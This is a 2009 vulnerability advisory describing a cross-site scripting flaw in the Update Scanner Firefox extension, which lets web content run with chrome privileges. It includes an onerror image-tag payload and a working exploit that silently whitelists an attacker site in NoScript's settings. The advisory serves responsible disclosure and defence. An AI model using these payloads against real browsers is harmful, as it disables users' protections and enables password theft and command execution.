



Vulnerability Advisory

Name	Update Scanner (Mozilla Firefox Extension) – Chrome Privileged Code Injection
Date Released	August 25, 2009
Affected Software	Update Scanner 3.0.3/3.0.2 (potentially also previous versions)
Researcher	Roberto Suggi Liverani – roberto.suggi@security-assessment.com

Description

Security-Assessment.com discovered that Update Scanner is vulnerable to Cross Site Scripting injection. Update Scanner renders scanned site content within a chrome window located at `chrome://updatescan/content/diffPage.xul`. A malicious web page is then able to pass arbitrary browser code, such as JavaScript, following a scan performed by Update Scanner. The browser code is directly rendered and executed in the chrome privileged Firefox zone related to Update Scanner.

Update Scanner performs input data filtering by stripping `<script>` tags but this is not enough to prevent JavaScript code execution. For example, it is possible to trigger JavaScript code execution by using event handlers such as "onerror":

Example: JavaScript Execution Via Onerror Event Handler

```
[...]  
<img src=a onerror="MALICIOUSCODEHERE">  
[...]
```

This vulnerability has been patched. See the Solution section of this document for more information.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the chrome privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Mozilla built-in XPCOM components. XPCOM components can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify other Firefox extensions.

Included below is an example exploit which compromises NoScript Firefox extension configuration by whitelisting an arbitrary web site. The XSS payload interacts with the `nsIPrefService` interface which allows access to the Firefox extensions preferences. The example exploit was successfully tested on Windows Firefox 3.0.10 and NoScript 1.9.7.

Example – Compromising NoScript – whitelisting malicious site

```
<img src=a onerror='var prefs = Components.classes["@mozilla.org/preferences-service;1"].getService(Components.interfaces.nsIPrefService);prefs=prefs.getBranch("capability.policy.maonosc ript.");prefs.setCharPref("sites", "about: about:blank about:certerror about:config about:credits about:neterror about:plugins about:privatebrowsing about:sessionrestore chrome: http://malicioussiteshere.com");'>
```

For more details regarding exploitation of this vulnerability, refer to our DEFCON 17 presentation at http://www.security-assessment.com/files/presentations/liverani_freeman_abusing_firefox_extensions_defcon17.pdf.



security-assessment.com

Solution

Security-Assessment.com follows responsible disclosure and promptly contacted the developer after discovering the issue. The developer was contacted on June 8, 2009, and a response was received on the June 11. A fix was released on June 15, 2009.

Install latest Update Scanner version. This is available from Mozilla Add-ons web site (<https://addons.mozilla.org/en-US/firefox/addon/3362>).

Credit

Discovered and advised to the Update Scanner developer June 2009 by Roberto Suggi Liverani of Security-Assessment.com. Personal Page: <http://malerisch.net/>

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web www.security-assessment.com

Email info@security-assessment.com

Phone +64 9 302 5093